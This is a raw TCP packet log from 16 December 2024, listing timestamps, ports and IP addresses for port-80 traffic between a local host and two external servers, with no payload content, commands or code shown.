Dec 16, 2024 13:16:15.481043100 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.481923103 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.481935978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.481971025 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.481995106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.482781887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.482841015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.482911110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.482965946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.483834028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.483886957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.483899117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.483952045 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.484750986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.484818935 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.484877110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.484921932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.485727072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.485763073 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.485778093 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.485819101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.486726046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.486785889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.486857891 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.486906052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.487649918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.487699986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.487772942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.487818003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.488639116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.488688946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.488693953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.488755941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.489567041 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.489619970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.489672899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.489737034 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.490536928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.490586996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.490632057 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.490680933 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.491535902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.491586924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.491660118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.491714001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.492491007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.492542982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.492599010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.492655039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.493397951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.493453979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.634449005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.634535074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.634552956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.634618044 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.634830952 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.634882927 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.635118008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.635130882 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.635174036 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.635205984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.636233091 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.636245966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.636290073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.636969090 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.637016058 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.637085915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.637125015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.638030052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.638041973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.638077974 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.638115883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.639359951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.639410019 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.639525890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.639581919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.640176058 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.640187979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.640224934 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.640845060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.640889883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.640892029 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.640929937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.641817093 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.641829014 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.641868114 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.642834902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.642889023 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.642962933 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.643007040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.643788099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.643800020 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.643829107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.643847942 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.644758940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.644807100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.644820929 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.644848108 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.645627975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.645672083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.645740032 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.645781040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.646584988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.646635056 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.646702051 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.646743059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.647594929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.647639990 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.647679090 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.647722960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.648581028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.648628950 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.648658037 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.648694992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.649502993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.649560928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.649588108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.649708986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.650466919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.650510073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.650573969 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.650607109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.651519060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.651563883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.651635885 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.651674986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.652414083 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.652453899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.652470112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.652504921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.653364897 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.653414011 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.653480053 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.653527021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.654361010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.654407978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.654469967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.654508114 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.655291080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.655330896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.655445099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.655509949 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.656361103 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.656373024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.656411886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.657255888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.657298088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.657360077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.657393932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.658308029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.658318996 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.658351898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.659286022 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.659296989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.659328938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.660142899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.660185099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.660252094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.660286903 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.661128998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.661170006 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.661196947 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.661232948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.662105083 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.662163973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.662226915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.662266970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.663028955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.663072109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.663094997 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.663127899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.664042950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.664079905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.664138079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.664170027 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.665031910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.665041924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.665067911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.665083885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.665941000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.665985107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.666047096 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.666089058 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.667016029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.667057991 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.667113066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.667156935 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.667918921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.667968988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.668000937 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.668040037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.668843031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.668883085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.668939114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.668976068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.669770002 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.669809103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.669886112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.669925928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.670820951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.670861006 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.670881987 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.670898914 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.671859980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.671916962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.671983957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.672023058 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.673062086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.673072100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.673099995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.673114061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.674554110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.674612045 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.674673080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.674715996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.675369978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.675379992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.675410032 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.675432920 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.676314116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.676357985 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.676414013 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.676454067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.677087069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.677097082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.677129030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.677139044 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.677927971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.677938938 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.677990913 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.678778887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.678847075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.678909063 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.678951979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.679452896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.679497004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.679558992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.679598093 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.680459976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.680506945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.680543900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.680582047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.681358099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.681405067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.681494951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.681534052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.682487011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.682497978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.682552099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.683357954 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.683422089 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.683454037 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.683496952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.684401035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.684457064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.684537888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.684583902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.826343060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.826527119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.826555014 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.826594114 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.826664925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.826713085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.826724052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.826781988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.827585936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.827636003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.827758074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.827805042 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.828588963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.828598976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.828643084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.829638004 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.829695940 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.830091000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.830138922 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.830446959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.830493927 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.830566883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.830611944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.831444025 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.831495047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.831521988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.831568003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:18.070064068 CET	49710	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:18.070358038 CET	49718	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:18.190267086 CET	80	49718	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:18.190351963 CET	80	49710	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:18.190417051 CET	49718	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:18.190443993 CET	49710	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:18.191544056 CET	49718	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:18.311203003 CET	80	49718	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:19.522819996 CET	80	49718	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:19.523542881 CET	49718	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:19.524904966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:19.525199890 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:19.645210981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:19.645369053 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:19.645639896 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:19.645740032 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:19.645823956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:19.765343904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.967937946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.967964888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.967974901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.968132019 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.968188047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.968200922 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.968210936 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.968223095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.968229055 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:20.968229055 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:20.968297005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:20.968297005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:20.968297005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:20.968297958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:20.968354940 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.968367100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:20.968390942 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:20.968404055 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.088310003 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.088362932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.088587999 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.092291117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.092375994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.159621954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.159665108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.159678936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.159737110 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.164091110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.164113998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.164175034 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.164210081 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.172825098 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.172926903 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.172940016 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.172971010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.180516958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.180567980 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.180619001 CET	80	49724	31.41.244.11	192.168.2.8
